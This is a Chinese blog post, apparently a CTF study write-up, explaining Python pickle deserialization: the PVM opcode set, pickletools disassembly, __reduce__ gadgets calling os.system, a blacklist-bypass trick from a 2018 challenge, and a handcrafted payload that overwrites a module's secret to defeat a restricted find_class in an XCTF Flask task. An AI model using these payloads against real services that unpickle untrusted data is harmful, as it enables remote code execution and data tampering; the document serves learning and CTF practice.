从零开始的pickle反序列化学习

前言

在XCTF高校战疫之中,我看到了一道pickle反序列化的题目,但因为太菜了花了好久才做出来,最近正好在学flask,直接配合pickle学一下。

找了半天终于找到一个大佬,这里就结合大佬的文章写一下。

目录:

  1. Pickle的简单介绍
  2. pickletools
  3. __reduce__
  4. c操作码
  5. 参考

 

正文

0x00  Pickle的简单介绍

  在很多任务中我们需要把一些内容存储起来,以备后续利用。如果我们要存储的只是字符串或者数字,我们只需要把它写进文件。而要是我们需要存储的是一个dict,一个list,甚至是一个对象时,就会很麻烦。通行的做法是:通过一套方案,把对象翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译成类的一个实例。这就是序列化和反序列化。下面写一个例子:

import pickle

class dairy():
  data=1
x = dairy() print(pickle.dumps(x)) #b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.' string = b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.' y = pickle.loads(string) print(y) # <__main__.dairy object at 0x7fb6cfb30290>

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM

PVM 由三部分组成:

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。

    最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

PS:注意下 stack、memo 的实现方式,方便理解下面的指令。默认版本为3号,而我们最经常用的是0号。以下内容都是0号版本。

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

--v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。

--v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。

--v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。

--v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。

--v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。

 指令集:

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

 

0x01  pickletools

  现在越来越多的CTF题目已经不满足于让你用以下的脚本getshell了。

import os, pickle
​
class Test(object):
    def __reduce__(self):
        return (os.system,('ls',))
    
print(pickle.dumps(Test(), protocol=0))
​

  所以手写pickle已经成为了日常。而学习手写pickle的一个最好的工具就是 pickletools 。pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。

示例代码:

import pickle
import pickletools
class dairy():
    def __init__(self): #别犯傻啊
        self.date = 20200311
        self.text = "QWQ"
        self.todo = ["Web","cypto","misc"]

x = dairy()
s = pickle.dumps(x)
print(s)
pickletools.dis(s)

运行结果:

b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00dateq\x03Jw;4\x01X\x04\x00\x00\x00textq\x04X\x03\x00\x00\x00QWQq\x05X\x04\x00\x00\x00todoq\x06]q\x07(X\x03\x00\x00\x00Webq\x08X\x05\x00\x00\x00cyptoq\tX\x04\x00\x00\x00miscq\neub.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ dairy'
   18: q    BINPUT     0
   20: )    EMPTY_TUPLE
   21: \x81 NEWOBJ
   22: q    BINPUT     1
   24: }    EMPTY_DICT
   25: q    BINPUT     2
   27: (    MARK
   28: X        BINUNICODE 'date'
   37: q        BINPUT     3
   39: J        BININT     20200311
   44: X        BINUNICODE 'text'
   53: q        BINPUT     4
   55: X        BINUNICODE 'QWQ'
   63: q        BINPUT     5
   65: X        BINUNICODE 'todo'
   74: q        BINPUT     6
   76: ]        EMPTY_LIST
   77: q        BINPUT     7
   79: (        MARK
   80: X            BINUNICODE 'Web'
   88: q            BINPUT     8
   90: X            BINUNICODE 'cypto'
  100: q            BINPUT     9
  102: X            BINUNICODE 'misc'
  111: q            BINPUT     10
  113: e            APPENDS    (MARK at 79)
  114: u        SETITEMS   (MARK at 27)
  115: b    BUILD
  116: .    STOP
highest protocol among opcodes = 2

这就是反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。每一行都是一条指令。接下来就是优化功能:

import pickle
import pickletools
class dairy():
    def __init__(self): #别犯傻啊
        self.date = 20200311
        self.text = "QWQ"
        self.todo = ["Web","cypto","misc"]

x = dairy()
s = pickle.dumps(x)
s =pickletools.optimize(s)
print(s)
pickletools.dis(s)

运行结果:

b'\x80\x03c__main__\ndairy\n)\x81}(X\x04\x00\x00\x00dateJw;4\x01X\x04\x00\x00\x00textX\x03\x00\x00\x00QWQX\x04\x00\x00\x00todo](X\x03\x00\x00\x00WebX\x05\x00\x00\x00cyptoX\x04\x00\x00\x00misceub.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ dairy'
   18: )    EMPTY_TUPLE
   19: \x81 NEWOBJ
   20: }    EMPTY_DICT
   21: (    MARK
   22: X        BINUNICODE 'date'
   31: J        BININT     20200311
   36: X        BINUNICODE 'text'
   45: X        BINUNICODE 'QWQ'
   53: X        BINUNICODE 'todo'
   62: ]        EMPTY_LIST
   63: (        MARK
   64: X            BINUNICODE 'Web'
   72: X            BINUNICODE 'cypto'
   82: X            BINUNICODE 'misc'
   91: e            APPENDS    (MARK at 63)
   92: u        SETITEMS   (MARK at 21)
   93: b    BUILD
   94: .    STOP
highest protocol among opcodes = 2

  可以看到,字符串s比以前短了很多,而且反汇编结果中,BINPUT指令没有了。所谓“优化”,其实就是把不必要的PUT指令给删除掉。这个PUT意思是把当前栈的栈顶复制一份,放进储存区——很明显,我们这个class并不需要这个操作,可以省略掉这些PUT指令。

  至于反序列化的原理,太菜了怕讲不好,直接看大佬的文章就好了。(就在参考里)

 PS: 使用pickletools.dis分析一个字符串时,如果.执行完毕之后栈里面还有东西,会抛出一个错误;而pickle.loads没有这么严格的检查——它会正常结束。大家应该都知道反序列化字符串的拼接吧。(不知道可以去看看BUUCTF的piapiapia这道题)。通过这种方式我们就有可能实现反序列化字符串的拼接。

 

0x02  __reduce__:快消失的方法

  说到 pickle 反序列化漏洞,__reduce__ 可以说是万恶之源了。它的指令码是 R 。它的作用:

    • 取当前栈的栈顶记为args,然后把它弹掉。
    • 取当前栈的栈顶记为f,然后把它弹掉。
    • args为参数,执行函数f,把结果压进当前栈。

    测试脚本上面有,跟像我一样的新人说一下吧,__reduce__ 就像是 PHP 中的 __wakeup 即触发反序列化就自动调用。(这个漏洞现在真的快灭绝了,想要看保护动物的可以去BUUCTF的ikun。有一步就是这个。)回到正题,怎么过滤掉 __reduce__ 呢?很简单,直接禁用 R 操作码就可以了。现在大多数的CTF题目都过滤了 R 操作码,那么不用 __reduce__ 我们还有什么方法呢?

0x02.5  黑名单就不是防黑客的QwQ(我真是取标题鬼才)

  2018-XCTF-HITB-WEB : Python's-Revenge的过滤是这样的,没有直接白名单,反而用黑名单禁用了一串函数:

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

  是是是,你禁用多,但是黑名单在CTF的环境下基本上都是有漏网之鱼的。这道题也不例外,漏网之鱼就是 platform.popen() 。你不禁用 R 指令,那么就用R指令。另外,这道题考的好像是另一个点:

class Exploit(object):
    def __reduce__(self):
     return map,(os.system,["ls"])

我根本不知道map能这么做。(太菜了)。反正黑名单不可取就对了。

 

0x03  c操作码:真正的万金油

  上面说过c操作码即GLOBAL操作符。它连续读取两个字符串modulename,规定以\n为分割;接下来把module.name这个东西压进栈。

PS:GLOBAL操作符读取全局变量,是使用的find_class函数。而find_class对于不同的协议版本实现也不一样。总之,它干的事情是“去x模块找到y”,y必须在x的顶层(也即,y不能在嵌套的内层)。

  所以在这样的任务下:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。(这个例子直接用大佬的图吧)。

 

 

  不能用R指令码了,不过没关系。还记得我们的c指令码吗?它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果:

  如何用c指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz改成从blue引入的name,写成指令就是:cblue\nname\n。把用于编码rxzX\x03\x00\x00\x00rxz替换成我们的这个global指令,来看看改造之后的效果:

 

  我个人的理解是,直接取出 blue.py 中对应的变量的值,拿它来当做自己传入的值。 

  这样我们输入就相当于是 blue.py 中的变量了。但是这样就万无一失了吗?

 

0x04  c操作符的真正用法

  上面的方法是有局限的,c操作符是依赖 find_class 这个方法的,而 find_class 是可以被出题人重写的。不幸的是,现在好多出题人都喜欢重写find_class。比如:XCTF高校战疫的一道题。

import base64
import io
import sys
import pickle



app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

  审计源码之后我们发现这道题和之前的目的一模一样。但是因为 find_class 被重写,所以之前的方法用不了了。那么怎么办呢?

  首先我们要知道:通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改。然后我们就可进行以下操作:

  • 通过__main__.secret引入这一个module,由于命名空间还在main内,故不会被拦截
  • 把一个dict压进栈,内容是{'name': 'rua', 'category': 'www'}
  • 执行BUILD指令,会导致改写 __main__.secret.name __main__.secret.category ,至此 secret.namesecret.grade已经被篡改成我们想要的内容
  • 弹掉栈顶,现在栈变成空的
  • 照抄正常的Animal序列化之后的字符串,压入一个正常的Animal对象,name和category分别是'rua'和'www'

  由于栈顶是正常的Animal对象,pickle.loads将会正常返回。到手的Animal对象,当然name和category都与secret.name、secret.category对应了——我们刚刚亲手把secret篡改掉。

所以我们可以构造出payload:

payload = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.'

写出脚本测试:

import io
import sys
import pickle


class Animal():
    def __init__(self,name,category):
        self.name = name
        self.category = category
    def __eq__(self,other):
        return type(other) is Animal and self.name == other.name and self.category == other.category

print(pickle.dumps(Animal('rxz','G2')))
import secret


s = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.'
#s = pickletools.optimize(s)

#pickletools.dis(s)
#print(s)

res = pickle.loads(s)
print(f"{res.name};{res.category}")

运行结果:篡改成功

 

 稍微修改一下就是最终payload。

 

参考

https://www.zhihu.com/tardis/sogou/art/89132768

https://www.anquanke.com/post/id/188981

。。有点像搬运了。。反正侵权请联系好吧。

posted @ 2020-03-16 09:44  Cxlover  阅读(1494)  评论(0编辑  收藏  举报